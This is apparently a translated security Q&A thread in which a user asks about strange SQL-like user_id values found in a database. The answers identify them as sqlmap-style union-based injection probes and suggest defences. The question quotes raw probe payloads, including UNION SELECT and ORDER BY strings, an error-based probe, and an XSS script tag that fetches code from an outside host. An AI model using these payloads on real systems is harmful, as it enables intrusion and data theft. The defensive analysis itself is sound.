这是 SQL 注入攻击还是某种错误?

信息安全 sql注入 PostgreSQL
2021-08-16 08:03:18

当我遇到一堆奇怪的user_id条目时,我正在查看我们数据库中的一些数据:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

似乎没有任何恶意正在尝试,所以我的一部分认为这可能是由某种错误引起的,但是再次看到数据条目中的 SQL 是相当可疑的。

它想做什么?

以下是我发现的更多示例,可能很有趣:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
3个回答

这是有人试图在您的站点上利用 SQL 注入的结果。有人试图检测您的网站是否容易受到基于联合的注入的攻击。对于您看到的所有记录,它似乎都不起作用。

您应该检查受影响时间跨度的访问和错误日​​志,以查看是否有任何进一步的请求。

我注意到的一件可疑的事情是,我没有看到任何包含双引号 (") 的条目,这可能表明它们破坏了站点的功能,或者使用双引号的注入对您的站点起作用。

您可能需要检查相关的源代码以查看是否已对参数值进行了适当的清理。如果您的设置的其他部分阻止了带有双引号的请求或没有尝试注入它们,这也可以解释。

查看“联合注入”SQL 攻击,例如在此处找到。

基本上,它正在尝试各种方法来识别查询中的列数,寻找一种成功的方法。这些order by行尝试检测按特定列排序的数据与尝试按不存在的列排序导致的错误之间的差异,而这些select行试图让有效的UNION命令工作 - 这仅在两个查询组合时才有效在联合中具有相同数量的列。

从某些行末尾的随机字母来看,很可能是有人对您的表单运行 sqlmap 工具,但是您在数据库中找到它们的事实是一件好事 - 这表明尝试失败了,尽管它是这些可能只是成功攻击的失败部分。

除了已经给出的好的答案外,指出这些可能是尝试不成功的迹象,我想补充一点,这些用户 ID 可能是更复杂的成功注入的一部分。

这不是纯粹的理论。我遇到过在第二个查询中使用一个选择查询的结果而没有正确输入验证的情况。开发人员可能只验证直接用户输入并(错误地)假设来自数据库的任何内容都是安全的。因此,在存储这些用户 ID 值之前,没有任何问题,但在随后的查询中,奇迹发生了。特别危险的是整数字段变成字符串,因为整数通常在没有转义或引号的情况下使用。

旁注:记录/通知每个失败的查询非常有效,因为几乎不可能在不触发至少一些错误的情况下对未知系统进行注入。除此之外,在生产系统中任何查询都不应该失败(如:语法错误)。